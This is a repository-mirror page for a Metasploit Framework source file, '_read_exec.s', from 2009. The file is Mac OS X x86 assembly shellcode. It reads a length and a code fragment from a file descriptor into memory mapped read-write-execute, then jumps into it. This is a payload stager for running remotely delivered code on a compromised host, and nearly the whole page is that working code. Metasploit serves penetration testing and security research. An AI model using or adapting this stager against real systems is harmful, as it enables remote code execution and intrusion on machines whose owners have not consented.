/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/osx/x86/include/_read_exec.s
61 строка
1 KB
HD Moore
Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow
19 мар 2009, 02:28
19 мар 2009, 02:28
13706d1
Код
Авторство
О чём код?
_read_exec: ;; Save some stack space mov ebp, esp sub esp, byte 8 .loop: xor ecx, ecx ; clear ecx mul ecx ; clear eax and edx ;; Read a 4-byte size of code fragment to execute push ecx mov esi, esp mov al, 4 push eax ; nbyte push esi ; buf push edi ; s push eax dec eax int 0x80 jb end mov esi, [esp+16] ; code buffer length ;; mmap memory xor eax, eax push eax ; alignment spacer push eax ; 0 dec eax push eax ; -1 inc eax mov ax, 0x1002 push eax ; (MAP_ANON | MAP_PRIVATE) xor eax, eax mov al, 7 push eax ; (PROT_READ | PROT_WRITE | PROT_EXEC) push esi ; len push edx ; addr push edx ; spacer mov al, 197 int 0x80 jb end ;; read fragment from file descriptor into mmap buffer mov ebx, eax add ebx, esi .read_fragment: push esi ; nbytes mov eax, ebx sub eax, esi push eax ; buf push edi ; s push edx ; spacer xor eax, eax mov al, 3 int 0x80 ; read(edi, eax, esi) jb end sub ebx, eax ; Subtract bytes read to buf end pointer sub esi, eax ; Subtract bytes read from total jnz .read_fragment jmp ebx